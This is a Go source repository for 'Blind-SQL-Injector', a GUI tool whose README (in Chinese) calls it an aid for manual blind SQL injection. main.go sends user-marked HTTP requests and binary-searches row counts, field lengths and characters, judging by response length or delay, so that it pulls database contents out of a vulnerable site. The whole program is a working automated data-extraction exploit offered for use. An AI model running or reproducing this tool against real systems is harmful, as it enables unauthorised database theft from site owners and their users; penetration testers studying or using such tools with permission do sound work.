├── Blind-SQL-Injector.exe ├── README.md ├── doc.go ├── main.go └── main.png /Blind-SQL-Injector.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Releasel0ck/Blind-SQL-Injector/12570ec2ad85a4eb1d6f463a231a3b55c9b2b5cc/Blind-SQL-Injector.exe -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Blind-SQL-Injector 2 | 手工盲注辅助注入工具 3 | 4 | ![程序界面](https://github.com/Releasel0ck/Blind-SQL-Injector/blob/master/main.png "程序图片") 5 | 6 | [使用说明](http://www.freebuf.com/sectool/183646.html) 7 | 8 | -------------------------------------------------------------------------------- /doc.go: -------------------------------------------------------------------------------- 1 | // Tui2 project doc.go 2 | 3 | /* 4 | Tui2 document 5 | */ 6 | package main 7 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "log" 7 | "net/http" 8 | "strconv" 9 | "strings" 10 | "sync" 11 | "time" 12 | 13 | "github.com/andlabs/ui" 14 | ) 15 | 16 | //进度显示(实际用途不大,只为了让你知道程序在运行了) 17 | func showProgress(p *ui.ProgressBar, c float64, a float64) { 18 | if c > a { 19 | c = a 20 | } 21 | v := (c / a) * 100 22 | i := int(v) 23 | p.SetValue(i) 24 | } 25 | 26 | //错误检测 27 | func checkError(err error) { 28 | if err != nil { 29 | panic(err) 30 | } 31 | } 32 | 33 | //发包测试 34 | func testRequest(rp string) (re *http.Response, err error) { 35 | re_b := []byte(rp) 36 | re_b2 := bytes.NewReader(re_b) 37 | re_b3 := bufio.NewReader(re_b2) 38 | r, err := http.ReadRequest(re_b3) 39 | if err != nil { 40 | return nil, err 41 | } 42 | r.URL.Host = r.Host 43 | r.URL.Scheme = "http" 44 | r.RequestURI = "" 45 | 46 | client := &http.Client{} 47 | response, err := client.Do(r) 48 | if err != nil { 49 | return nil, err 50 | } 51 | defer response.Body.Close() 52 | return response, err 53 | } 54 | 55 | //修改请求包 56 | func modifyRequest(modifyString string) *http.Request { 57 | re_b := []byte(modifyString + "\r\n\r\n") 58 | re_b2 := bytes.NewReader(re_b) 59 | re_b3 := bufio.NewReader(re_b2) 60 | r, err := http.ReadRequest(re_b3) 61 | checkError(err) 62 | r.URL.Host = r.Host 63 | r.URL.Scheme = "http" 64 | r.RequestURI = "" 65 | return r 66 | } 67 | 68 | //布尔判断,求数量 69 | func sqlInjectCount(rawString string, rightLength int64, p *ui.ProgressBar) int { 70 | p.SetValue(0) 71 | a := 14.0 72 | c := 0.0 73 | f1 := 0 74 | f2 := 10000 75 | client := &http.Client{} 76 | var count int 77 | for { 78 | c = c + 1 79 | showProgress(p, c, a) 80 | if f1 >= f2 { 81 | count = 6789 82 | break 83 | } 84 | mid := (f1 + f2) / 2 85 | midStr := strconv.Itoa(mid) 86 | modifyString := strings.Replace(rawString, "<$qcount!>", midStr, 1) 87 | modifyRe := modifyRequest(modifyString) 88 | response, err := client.Do(modifyRe) 89 | defer response.Body.Close() 90 | checkError(err) 91 | if response.ContentLength == rightLength { 92 | mid2Str := strconv.Itoa(mid + 1) 93 | modify2String := strings.Replace(rawString, "<$qcount!>", mid2Str, 1) 94 | modify2Re := modifyRequest(modify2String) 95 | response2, err := client.Do(modify2Re) 96 | checkError(err) 97 | defer response2.Body.Close() 98 | if response2.ContentLength != rightLength { 99 | count = mid + 1 100 | break 101 | } else { 102 | f1 = mid + 1 103 | } 104 | 105 | } else { 106 | f2 = mid 107 | } 108 | } 109 | p.SetValue(100) 110 | return count 111 | } 112 | 113 | //布尔判断求长度 114 | func sqlInjectLength(rawString string, count int, rightLength int64, p *ui.ProgressBar) string { 115 | p.SetValue(0) 116 | a := float64(count) 117 | c := 0.0 118 | result := make([]int, count) 119 | var wg sync.WaitGroup //同步 120 | for i := 0; i < count; i++ { 121 | modifyString := strings.Replace(rawString, "<$count!>", strconv.Itoa(i), 1) 122 | wg.Add(1) 123 | go dichotomyLength(modifyString, rightLength, &result, i, &wg, p, &c, a) 124 | } 125 | wg.Wait() 126 | var resultString string 127 | for i := 0; i < len(result); i++ { 128 | resultString = resultString + "," + strconv.Itoa(result[i]) 129 | } 130 | p.SetValue(100) 131 | return resultString[1:len(resultString)] 132 | } 133 | 134 | //二分求长度 135 | func dichotomyLength(rawString string, rightLength int64, result *[]int, result_index int, wg *sync.WaitGroup, p *ui.ProgressBar, c *float64, a float64) { 136 | f1 := 0 137 | f2 := 10000 138 | client := &http.Client{} 139 | var count int 140 | for { 141 | if f1 >= f2 { 142 | count = 6789 143 | break 144 | } 145 | mid := (f1 + f2) / 2 146 | midStr := strconv.Itoa(mid) 147 | modifyString := strings.Replace(rawString, "<$qlength!>", midStr, 1) 148 | modifyRe := modifyRequest(modifyString) 149 | response, err := client.Do(modifyRe) 150 | defer response.Body.Close() 151 | checkError(err) 152 | if response.ContentLength == rightLength { 153 | mid2Str := strconv.Itoa(mid + 1) 154 | modify2String := strings.Replace(rawString, "<$qlength!>", mid2Str, 1) 155 | modify2Re := modifyRequest(modify2String) 156 | response2, err := client.Do(modify2Re) 157 | checkError(err) 158 | defer response2.Body.Close() 159 | if response2.ContentLength != rightLength { 160 | count = mid + 1 161 | break 162 | } else { 163 | f1 = mid + 1 164 | } 165 | 166 | } else { 167 | f2 = mid 168 | } 169 | } 170 | (*result)[result_index] = count 171 | wg.Done() 172 | (*c) = (*c) + 1 173 | showProgress(p, (*c), a) 174 | } 175 | 176 | //布尔判断,求内容 177 | func sqlInjectCotent(rawString string, length string, rightLength int64, p *ui.ProgressBar) (resultString string) { 178 | p.SetValue(0) 179 | c := 0.0 180 | la := strings.Split(length, ",") 181 | a := float64(len(la)) 182 | var result_a string 183 | for j, v := range la { 184 | vInt, err := strconv.Atoi(v) 185 | checkError(err) 186 | result := make([]int, vInt) 187 | var result_s string 188 | var wg sync.WaitGroup 189 | modifyString1 := strings.Replace(rawString, "<$count!>", strconv.Itoa(j), 1) 190 | for i := 0; i < vInt; i++ { 191 | modifyString2 := strings.Replace(modifyString1, "<$length!>", strconv.Itoa(i+1), 1) 192 | wg.Add(1) 193 | go dichotomyContent(modifyString2, rightLength, &result, i, &wg, p, &c, a) 194 | } 195 | wg.Wait() 196 | for _, result_v := range result { 197 | result_s += string(rune(result_v)) 198 | } 199 | result_a = result_a + result_s + "\r\n" 200 | } 201 | p.SetValue(100) 202 | return result_a 203 | } 204 | 205 | //二分,求内容 206 | func dichotomyContent(rawString string, rightLength int64, result *[]int, result_index int, wg *sync.WaitGroup, p *ui.ProgressBar, c *float64, a float64) { 207 | f1 := 32 208 | f2 := 127 209 | client := &http.Client{} 210 | var ascii int 211 | for { 212 | if f1 >= f2 { 213 | ascii = 42 214 | break 215 | } 216 | mid := (f1 + f2) / 2 217 | midStr := strconv.Itoa(mid) 218 | modifyString := strings.Replace(rawString, "<$qascii!>", midStr, 1) 219 | modifyRe := modifyRequest(modifyString) 220 | response, err := client.Do(modifyRe) 221 | defer response.Body.Close() 222 | checkError(err) 223 | if response.ContentLength == rightLength { 224 | mid2Str := strconv.Itoa(mid + 1) 225 | modify2String := strings.Replace(rawString, "<$qascii!>", mid2Str, 1) 226 | modify2Re := modifyRequest(modify2String) 227 | response2, err := client.Do(modify2Re) 228 | checkError(err) 229 | defer response2.Body.Close() 230 | if response2.ContentLength != rightLength { 231 | ascii = mid + 1 232 | break 233 | } else { 234 | f1 = mid + 1 235 | } 236 | 237 | } else { 238 | f2 = mid 239 | } 240 | } 241 | (*result)[result_index] = ascii 242 | wg.Done() 243 | (*c) = (*c) + 1 244 | showProgress(p, (*c), a) 245 | } 246 | 247 | //时间判断,求数量 248 | func sqlInjectCountByTime(rawString string, rightTime float64, p *ui.ProgressBar) int { 249 | p.SetValue(0) 250 | a := 14.0 251 | c := 0.0 252 | f1 := 0 253 | f2 := 10000 254 | client := &http.Client{} 255 | var count int 256 | for { 257 | if f1 >= f2 { 258 | count = 6789 259 | break 260 | } 261 | c = c + 1 262 | showProgress(p, c, a) 263 | start := time.Now() 264 | mid := (f1 + f2) / 2 265 | midStr := strconv.Itoa(mid) 266 | modifyString := strings.Replace(rawString, "<$qcount!>", midStr, 1) 267 | modifyRe := modifyRequest(modifyString) 268 | response, err := client.Do(modifyRe) 269 | elapsed := time.Now().Sub(start).Seconds() + 0.1 270 | 271 | defer response.Body.Close() 272 | checkError(err) 273 | if elapsed >= rightTime { 274 | start2 := time.Now() 275 | mid2Str := strconv.Itoa(mid + 1) 276 | modify2String := strings.Replace(rawString, "<$qcount!>", mid2Str, 1) 277 | modify2Re := modifyRequest(modify2String) 278 | response2, err := client.Do(modify2Re) 279 | elapsed2 := time.Now().Sub(start2).Seconds() + 0.1 280 | checkError(err) 281 | defer response2.Body.Close() 282 | if elapsed2 < rightTime { 283 | count = mid + 1 284 | break 285 | } else { 286 | f1 = mid + 1 287 | } 288 | 289 | } else { 290 | f2 = mid 291 | } 292 | } 293 | p.SetValue(100) 294 | return count 295 | } 296 | 297 | //时间判断,求长度 298 | func sqlInjectLengthByTime(rawString string, count int, rightTime float64, p *ui.ProgressBar) string { 299 | p.SetValue(0) 300 | a := float64(count) 301 | c := 0.0 302 | result := make([]int, count) 303 | for i := 0; i < count; i++ { 304 | c = c + 1 305 | showProgress(p, c, a) 306 | modifyString := strings.Replace(rawString, "<$count!>", strconv.Itoa(i), 1) 307 | dichotomyLengthByTime(modifyString, rightTime, &result, i) 308 | } 309 | var resultString string 310 | for i := 0; i < len(result); i++ { 311 | resultString = resultString + "," + strconv.Itoa(result[i]) 312 | } 313 | p.SetValue(100) 314 | return resultString[1:len(resultString)] 315 | } 316 | 317 | //二分求长度 318 | func dichotomyLengthByTime(rawString string, rightTime float64, result *[]int, result_index int) { 319 | f1 := 0 320 | f2 := 10000 321 | client := &http.Client{} 322 | var count int 323 | for { 324 | if f1 >= f2 { 325 | count = 6789 326 | break 327 | } 328 | start := time.Now() 329 | mid := (f1 + f2) / 2 330 | midStr := strconv.Itoa(mid) 331 | modifyString := strings.Replace(rawString, "<$qlength!>", midStr, 1) 332 | modifyRe := modifyRequest(modifyString) 333 | response, err := client.Do(modifyRe) 334 | elapsed := time.Now().Sub(start).Seconds() + 0.1 335 | defer response.Body.Close() 336 | checkError(err) 337 | if elapsed >= rightTime { 338 | start2 := time.Now() 339 | mid2Str := strconv.Itoa(mid + 1) 340 | modify2String := strings.Replace(rawString, "<$qlength!>", mid2Str, 1) 341 | modify2Re := modifyRequest(modify2String) 342 | response2, err := client.Do(modify2Re) 343 | checkError(err) 344 | elapsed2 := time.Now().Sub(start2).Seconds() + 0.1 345 | defer response2.Body.Close() 346 | if elapsed2 < rightTime { 347 | count = mid + 1 348 | break 349 | } else { 350 | f1 = mid + 1 351 | } 352 | 353 | } else { 354 | f2 = mid 355 | } 356 | } 357 | (*result)[result_index] = count 358 | } 359 | 360 | //时间判断,求内容 361 | func sqlInjectCotentByTime(rawString string, length string, rightTime float64, p *ui.ProgressBar) (resultString string) { 362 | la := strings.Split(length, ",") 363 | p.SetValue(0) 364 | a := float64(len(la)) 365 | c := 0.0 366 | var result_a string 367 | for j, v := range la { 368 | c = c + 1 369 | showProgress(p, c, a) 370 | vInt, err := strconv.Atoi(v) 371 | checkError(err) 372 | result := make([]int, vInt) 373 | var result_s string 374 | modifyString1 := strings.Replace(rawString, "<$count!>", strconv.Itoa(j), 1) 375 | for i := 0; i < vInt; i++ { 376 | modifyString2 := strings.Replace(modifyString1, "<$length!>", strconv.Itoa(i+1), 1) 377 | dichotomyContentByTime(modifyString2, rightTime, &result, i) 378 | } 379 | for _, result_v := range result { 380 | result_s += string(rune(result_v)) 381 | } 382 | result_a = result_a + result_s + "\r\n" 383 | } 384 | p.SetValue(100) 385 | return result_a 386 | } 387 | 388 | //二分,求内容 389 | func dichotomyContentByTime(rawString string, rightTime float64, result *[]int, result_index int) { 390 | f1 := 32 391 | f2 := 127 392 | client := &http.Client{} 393 | var ascii int 394 | for { 395 | if f1 >= f2 { 396 | ascii = 42 397 | break 398 | } 399 | start := time.Now() 400 | mid := (f1 + f2) / 2 401 | midStr := strconv.Itoa(mid) 402 | modifyString := strings.Replace(rawString, "<$qascii!>", midStr, 1) 403 | modifyRe := modifyRequest(modifyString) 404 | response, err := client.Do(modifyRe) 405 | elapsed := time.Now().Sub(start).Seconds() + 0.1 406 | defer response.Body.Close() 407 | checkError(err) 408 | log.Println(elapsed, mid) 409 | if elapsed >= rightTime { 410 | start2 := time.Now() 411 | mid2Str := strconv.Itoa(mid + 1) 412 | modify2String := strings.Replace(rawString, "<$qascii!>", mid2Str, 1) 413 | modify2Re := modifyRequest(modify2String) 414 | response2, err := client.Do(modify2Re) 415 | checkError(err) 416 | elapsed2 := time.Now().Sub(start2).Seconds() + 0.1 417 | log.Println(elapsed2, string(rune(mid+1))) 418 | defer response2.Body.Close() 419 | if elapsed2 < rightTime { 420 | ascii = mid + 1 421 | break 422 | } else { 423 | f1 = mid + 1 424 | } 425 | 426 | } else { 427 | f2 = mid 428 | } 429 | } 430 | (*result)[result_index] = ascii 431 | 432 | } 433 | 434 | //主程序 435 | func main() { 436 | err := ui.Main(func() { 437 | var resultLog string //log result 438 | window := ui.NewWindow("Blind SQL Injector by Releasel0ck", 800, 600, false) //main window 439 | window.SetMargined(true) //SetMargined controls whether the Group has margins around its child. 440 | vb := ui.NewVerticalBox() //vertical Box 441 | window.SetChild(vb) 442 | 443 | meRequestPacket := ui.NewMultilineEntry() 444 | gp1 := ui.NewGroup("Input Value:") 445 | gp2 := ui.NewGroup("Correct judgment:") 446 | hb := ui.NewHorizontalBox() 447 | meResult := ui.NewMultilineEntry() 448 | pb := ui.NewProgressBar() 449 | pb.SetValue(0) 450 | vb.Append(meRequestPacket, true) 451 | vb.Append(gp1, false) 452 | vb.Append(gp2, false) 453 | vb.Append(hb, false) 454 | vb.Append(meResult, true) 455 | vb.Append(pb, false) 456 | 457 | hb1 := ui.NewHorizontalBox() 458 | lbLength := ui.NewLabel("Length: ") 459 | etLength := ui.NewEntry() 460 | etLength.SetText("10,10,10,10,10,10,10,10,10,10,10,10,10,10") 461 | lbCount := ui.NewLabel(" Count: ") 462 | etCount := ui.NewEntry() 463 | hb1.Append(lbLength, false) 464 | hb1.Append(etLength, true) 465 | hb1.Append(lbCount, false) 466 | hb1.Append(etCount, true) 467 | gp1.SetChild(hb1) 468 | 469 | hb2 := ui.NewHorizontalBox() 470 | cbxLength := ui.NewCheckbox("Length") 471 | cbxLength.SetChecked(true) 472 | etrLength := ui.NewEntry() 473 | etrLength.SetText("439") 474 | cbxTime := ui.NewCheckbox("Time") 475 | etrTime := ui.NewEntry() 476 | hb2.Append(cbxLength, false) 477 | hb2.Append(etrLength, true) 478 | hb2.Append(cbxTime, false) 479 | hb2.Append(etrTime, true) 480 | gp2.SetChild(hb2) 481 | 482 | btnSendTest := ui.NewButton("Send test packet") 483 | btnInject := ui.NewButton("Get injected content") 484 | hb.Append(btnSendTest, true) 485 | hb.Append(btnInject, true) 486 | 487 | cbxLength.OnToggled(func(*ui.Checkbox) { 488 | cbxTime.SetChecked(false) 489 | etrLength.SetText("439") 490 | etrTime.SetText("") 491 | }) 492 | cbxTime.OnToggled(func(*ui.Checkbox) { 493 | cbxLength.SetChecked(false) 494 | etrTime.SetText("3") 495 | etrLength.SetText("") 496 | }) 497 | 498 | //Send test packet button 499 | btnSendTest.OnClicked(func(_ *ui.Button) { 500 | go func() { 501 | start := time.Now() 502 | r, err := testRequest(meRequestPacket.Text()) 503 | if err != nil { 504 | ui.MsgBoxError(window, "Error!", err.Error()) 505 | } else { 506 | tmp := "Content-Length: " + strings.Join(r.Header["Content-Length"], "") + "\r\n" 507 | elapsed := time.Now().Sub(start).Seconds() 508 | tmp = tmp + "Time: " + strconv.FormatFloat(elapsed, 'G', 2, 64) + "\r\n" 509 | tmp = tmp + "Status: " + strconv.Itoa(r.StatusCode) + "\r\n" 510 | resultLog = resultLog + tmp 511 | meResult.SetText(resultLog) 512 | } 513 | }() 514 | }) 515 | 516 | //Get injected content Button 517 | btnInject.OnClicked(func(_ *ui.Button) { 518 | if cbxLength.Checked() { 519 | rightLength, err := strconv.ParseInt(etrLength.Text(), 10, 64) 520 | if err != nil { 521 | ui.MsgBoxError(window, "Error!", "Wrong Length,Integer!") 522 | } else { 523 | go func() { 524 | if strings.Contains(meRequestPacket.Text(), "<$qcount!>") { 525 | //get count 526 | count := sqlInjectCount(meRequestPacket.Text(), rightLength, pb) 527 | resultLog = resultLog + "Count: " + strconv.Itoa(count) + "\r\n" 528 | meResult.SetText(resultLog) 529 | etCount.SetText(strconv.Itoa(count)) 530 | 531 | } else if strings.Contains(meRequestPacket.Text(), "<$count!>") && strings.Contains(meRequestPacket.Text(), "<$qlength!>") { 532 | //get length 533 | count, err := strconv.Atoi(etCount.Text()) 534 | if err != nil { 535 | ui.MsgBoxError(window, "Error!", "Wrong count,Integer!") 536 | } 537 | length := sqlInjectLength(meRequestPacket.Text(), count, rightLength, pb) 538 | 539 | resultLog = resultLog + "Length: " + length + "\r\n" 540 | etLength.SetText(length) 541 | meResult.SetText(resultLog) 542 | 543 | } else if strings.Contains(meRequestPacket.Text(), "<$qascii!>") && strings.Contains(meRequestPacket.Text(), "<$length!>") && strings.Contains(meRequestPacket.Text(), "<$count!>") { 544 | //get content 545 | length := etLength.Text() 546 | content := sqlInjectCotent(meRequestPacket.Text(), length, rightLength, pb) 547 | resultLog = resultLog + "Content: " + "\r\n" + content + "\r\n" 548 | meResult.SetText(resultLog) 549 | } else { 550 | ui.MsgBoxError(window, "Error!", "Wrong Mark!") 551 | } 552 | }() 553 | } 554 | } 555 | if cbxTime.Checked() { 556 | rightTime, err := strconv.ParseFloat(etrTime.Text(), 64) 557 | if err != nil { 558 | ui.MsgBoxError(window, "Error!", "Wrong Time,Integer!") 559 | } else { 560 | go func() { 561 | if strings.Contains(meRequestPacket.Text(), "<$qcount!>") { 562 | count := sqlInjectCountByTime(meRequestPacket.Text(), rightTime, pb) 563 | resultLog = resultLog + "Count: " + strconv.Itoa(count) + "\r\n" 564 | meResult.SetText(resultLog) 565 | etCount.SetText(strconv.Itoa(count)) 566 | } else if strings.Contains(meRequestPacket.Text(), "<$count!>") && strings.Contains(meRequestPacket.Text(), "<$qlength!>") { 567 | //get length 568 | count, err := strconv.Atoi(etCount.Text()) 569 | if err != nil { 570 | ui.MsgBoxError(window, "Error!", "Wrong count,Integer!") 571 | } 572 | length := sqlInjectLengthByTime(meRequestPacket.Text(), count, rightTime, pb) 573 | resultLog = resultLog + "Length: " + length + "\r\n" 574 | meResult.SetText(resultLog) 575 | etLength.SetText(length) 576 | } else if strings.Contains(meRequestPacket.Text(), "<$qascii!>") && strings.Contains(meRequestPacket.Text(), "<$length!>") && strings.Contains(meRequestPacket.Text(), "<$count!>") { 577 | //get content 578 | length := etLength.Text() 579 | content := sqlInjectCotentByTime(meRequestPacket.Text(), length, rightTime, pb) 580 | resultLog = resultLog + "Content: " + "\r\n" + content + "\r\n" 581 | meResult.SetText(resultLog) 582 | } else { 583 | ui.MsgBoxError(window, "Error!", "Wrong Packet!") 584 | } 585 | }() 586 | } 587 | } 588 | }) 589 | window.OnClosing(func(*ui.Window) bool { 590 | ui.Quit() 591 | return true 592 | }) 593 | window.Show() 594 | }) 595 | checkError(err) 596 | } 597 | -------------------------------------------------------------------------------- /main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Releasel0ck/Blind-SQL-Injector/12570ec2ad85a4eb1d6f463a231a3b55c9b2b5cc/main.png --------------------------------------------------------------------------------